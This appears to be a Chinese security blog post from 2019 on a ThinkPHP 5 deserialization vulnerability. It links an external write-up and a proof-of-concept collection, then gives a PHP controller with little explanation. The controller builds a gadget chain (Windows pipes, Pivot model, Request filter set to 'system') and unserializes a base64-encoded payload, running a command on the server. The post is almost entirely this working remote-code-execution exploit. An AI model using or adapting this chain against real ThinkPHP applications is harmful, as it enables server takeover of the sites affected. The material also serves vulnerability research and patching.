Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

ThinkPHP 反序列化漏洞

wpadmin~August 2, 2019 /InfoSec

ThinkPHP 反序列化漏洞

正文

https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

<?php

namespace app\index\controller;

use think\process\pipes\Windows;
use think\Request;
use think\Model\Pivot;

class Index {

    public function index() {

//        $ww = new Windows(1,null);
//        $file=new Pivot();
//        $rr=new Request();
//        $rr->hook(["append"=>array($rr,"isAjax")]);
//        $rr->param("calc");
//        $rr->filter("system");
//        $file->setAttr("exp",$rr);
//        $ww->setFiles([0=>$file]);
//        $data= serialize($ww);
//        return base64_encode($data);

        $json="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjo4OntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6MzI6e3M6NjoicGFyZW50IjtOO3M6MjE6IgAqAGF1dG9Xcml0ZVRpbWVzdGFtcCI7YjowO3M6MjE6IgB0aGlua1xNb2RlbABpc1VwZGF0ZSI7YjowO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjowO3M6MjQ6IgB0aGlua1xNb2RlbAB1cGRhdGVXaGVyZSI7TjtzOjEzOiIAKgBjb25uZWN0aW9uIjthOjA6e31zOjg6IgAqAHF1ZXJ5IjtzOjE1OiJcdGhpbmtcZGJcUXVlcnkiO3M6NzoiACoAbmFtZSI7czo1OiJQaXZvdCI7czo4OiIAKgB0YWJsZSI7TjtzOjc6IgAqAGF1dG8iO2E6MDp7fXM6OToiACoAaW5zZXJ0IjthOjA6e31zOjk6IgAqAHVwZGF0ZSI7YTowOnt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OjI7aTowO31zOjQyOiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGRpc2FibGVPdXRwdXQiO2I6MTtzOjU6InBpcGVzIjthOjA6e31zOjE0OiIAKgBpbnB1dEJ1ZmZlciI7TjtzOjg6IgAqAGlucHV0IjtOO3M6MzQ6IgB0aGlua1xwcm9jZXNzXHBpcGVzXFBpcGVzAGJsb2NrZWQiO2I6MTt9";
        unserialize(base64_decode($json));
//return(base64_decode($json));


//        $ww->setFiles([0=>$file]);
//        $data= serialize($ww);
//        unserialize($data);

      //  call_user_func_array("call_user_func_array",array($this,"hello"));
//        $ww = new Windows(1, null);
//
//
//
//        $kk = new Pivot();
//        return $kk."";
//        //$data= serialize($ww);
//        $data = "TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjo4OntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjg6IkQ6XDEudHh0Ijt9czo0MDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlSGFuZGxlcyI7YTowOnt9czozODoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwByZWFkQnl0ZXMiO2E6Mjp7aToxO2k6MDtpOjI7aTowO31zOjQyOiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGRpc2FibGVPdXRwdXQiO2I6MTtzOjU6InBpcGVzIjthOjA6e31zOjE0OiIAKgBpbnB1dEJ1ZmZlciI7TjtzOjg6IgAqAGlucHV0IjtOO3M6MzQ6IgB0aGlua1xwcm9jZXNzXHBpcGVzXFBpcGVzAGJsb2NrZWQiO2I6MTt9";
//        $aa = base64_decode($data);
//        unserialize($aa);

//        $tt = new Request();
//        $method=array("dsds"=>array($tt,"isAjax"));
//        $tt->hook($method);
//        $tt->dsds(1);
        //return $aa;
    }

    public function hello($name = 'ThinkPHP5') {
        return 'hello,' . $name;
    }

}

Leave a Reply

Your email address will not be published. Required fields are marked *